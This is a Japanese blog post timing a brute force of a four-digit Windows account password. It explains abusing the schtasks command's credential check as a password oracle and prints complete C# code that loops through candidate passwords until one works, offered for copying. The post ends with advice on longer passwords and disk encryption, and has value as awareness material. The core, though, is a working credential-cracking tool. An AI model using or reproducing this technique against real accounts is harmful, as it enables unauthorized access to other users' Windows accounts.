[検証]実際に4桁のUACパスワードを総当たりすると何分かかるのか

こんにちは!作者のActiveTKです。

皆さんはWindowsを使っていますか?

今回は、実際にWindowsのユーザーアカウントのパスワードを総当たりすると、何分かかるのかを検証してみたいと思います!

注意 : 実際のハッキングにも使用可能な手口が書かれていますが、悪用すれば不正アクセス禁止法に抵触します。

真似をした事によって発生した損害を一切負いません。

悪用するなー!

1. アカウント作成

まず、総当たりを実際にするアカウントを作っていきます。

「net」コマンドでアカウントを作成します。

net user {ユーザー名} {パスワード} /add

今回は、ユーザー名「test」、パスワード「7777」のアカウントを作成したいので、

net user test 7777 /add

と実行します。

2. 早速総当たり!

アカウントの作成が終わったので、早速総当たりをしていきたいと思います!

総当たりには、僕が作成したATK_Promptを使用します。

ATK_Prompt自体は公開していないのですが、仕組みと総当たりの部分のソースコードを書いておきますね!

<仕組み>

Windowsには、schtasksというコマンドがあります。

タスクをスケジュールするコマンドです。

「一週間に一回バックアップを取る」のような事が出来ます。

便利な事に、パスワードを知っていれば、

他のアカウントのスケジュールを組む事が可能です。

でも逆に言えば、「パスワードが違っていればタスクをスケジュール出来ない」という事です。

これを悪用して、

schtasks /create /s localhost /ru {ユーザー名} /rp {パスワード} /sc once /sd 1900/01/01 /st 00:00 /tn w /tr svchost /f

というコマンドを{パスワード}の部分を置き換えながら実行し、

戻り値が0だった時(成功時)に現在のパスワードを表示します。

語彙力が少なく、理解出来なかったらすみません。

<コード>

※コピペ/改変OKですが、動作保証はありません。MITライセンスだと考えてください。

// ユーザー名(Environment.UserNameでログイン中のユーザー)
string user = Environment.UserName;
// 総当たりの最小値
decimal min = 0;
// 総当たりの最大値
decimal max = 10000;

WriteLine("Windows Password Attacker");
WriteLine("Copyright (c) 2021 ActiveTK. All rights reserved.");
string oldt = Title;
WriteLine();
if (user == "" || user == null) user = Environment.UserName;
WriteLine("**********************************");
WriteLine("** UserName     : " + user);
WriteLine("** MIN          : " + min);
WriteLine("** MAX          : " + max);
WriteLine("**********************************");
WriteLine("** Starting...");
decimal i = min;
Thread thread = new Thread(new ThreadStart(() =>
{
Stopwatch sw = Stopwatch.StartNew();
sw.Start();
while (true)
{
CursorLeft = 0;
if (i == max)
{
ForegroundColor = ConsoleColor.Red;
WriteLine();
WriteLine("** {0}から{1}の間にパスワードは見つかりませんでした。管理者として実行してみてください。.", min, max);
ResetColor();
break;
}
i++;
string h = "/create /s localhost /ru " + user + " /rp " + i + " /sc once /sd 1900/01/01 /st 00:00 /tn w /tr svchost /f";
Write("** > schtasks " + h + " | ");
ProcessStartInfo processStartInfo1 = new ProcessStartInfo("schtasks", h);
processStartInfo1.CreateNoWindow = true;
processStartInfo1.UseShellExecute = false;
processStartInfo1.RedirectStandardOutput = true;
processStartInfo1.RedirectStandardError = true;
Process process1 = Process.Start(processStartInfo1);
string standardOutput1 = process1.StandardOutput.ReadToEnd();
string standardError1 = process1.StandardError.ReadToEnd();
int ex = process1.ExitCode;
process1.Close();
Write(ex);
if (ex == 0)
{
Write(" | ");
ForegroundColor = ConsoleColor.Green;
WriteLine("OK!");
ResetColor();
break;
}
}
sw.Stop();
Title = Title + " | Windows.GetPassword.end";
ForegroundColor = ConsoleColor.Cyan;
WriteLine("** Windows.GetPassword.Time: " + sw.Elapsed);
ResetColor();
Write("** Press any key to exit.");
sw.Reset();
}));
WriteLine("** Windows.GetPassword.Start [OK|Background]");
WriteLine("** [Esc]か[End]を押すと終了します。");
WriteLine("** 総当たり終了後は何かキーを押すと終了します。");
thread.Start();
while (true)
{
ConsoleKeyInfo cs = ReadKey(true);
if (cs.Key == ConsoleKey.Escape || cs.Key == ConsoleKey.End)
{
ForegroundColor = ConsoleColor.Red;
WriteLine();
WriteLine("** 処理が強制終了されました。");
ResetColor();
thread.Abort();
return -11;
}
else if (Title == oldt + " | Windows.GetPassword.end") break;
}
ForegroundColor = ConsoleColor.Cyan;
WriteLine();
WriteLine("** Windows.GetUser.Password: " + i);
ResetColor();
WriteLine("**********************************");
}

って事で総当たり開始!!

今回は、

ユーザー名 : test

パスワード : 0~9999

という状態で総当たりをしてみます!

3. 結果

それでは、結果を発表します。

パスワード「7777」を当てるまでにかかった時間は、、。

12分29秒です!!

つまり、約15分あれば4桁のパスワードを解析出来るという事です。

恐らく、「めっちゃ長い!」と感じた方と「めっちゃ短い!」と感じた方の両方がいると思います。

Linuxとかを使用していると、たったの数秒でパスワードを解析しているイメージがありますが、それは「パスワード一覧を生成しているだけ」なので、実際に総当たりするとこれくらいの時間がかかります。

逆に、1万通りのパスワードをたった15分で解析できるの!?!?と思った方も多いと思います。

機械的に総当たりすると、ここまで早く(主観ですが)解析する事が出来るという事です。

4. 最後に

パスワードは、必ず6桁以上、出来れば8桁以上の英数字を含むものにしましょう。

ついでに、僕のパスワードは大小英数字+記号を含む25桁です。

今、「何だたったの25桁か」と思った方に向けて書いておきます。

パスワードは長い方が良いですが、安全の代償は利便性の低下です。個人的には20桁前後がちょうど良いと思っています。

別に、警察が来たらHDDを持っていかれて終わりですからね。

本当に隠したいデータがある方はディスクを暗号化しましょう。

僕はBIOSでディスクを暗号化した上に、Cドライブとデータ用のドライブをBitLockerで暗号化しています。

まあ別に隠したいデータがある訳ではありませんがねw

最後まで目を通して頂き、誠にありがとうございました。

コメントする

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です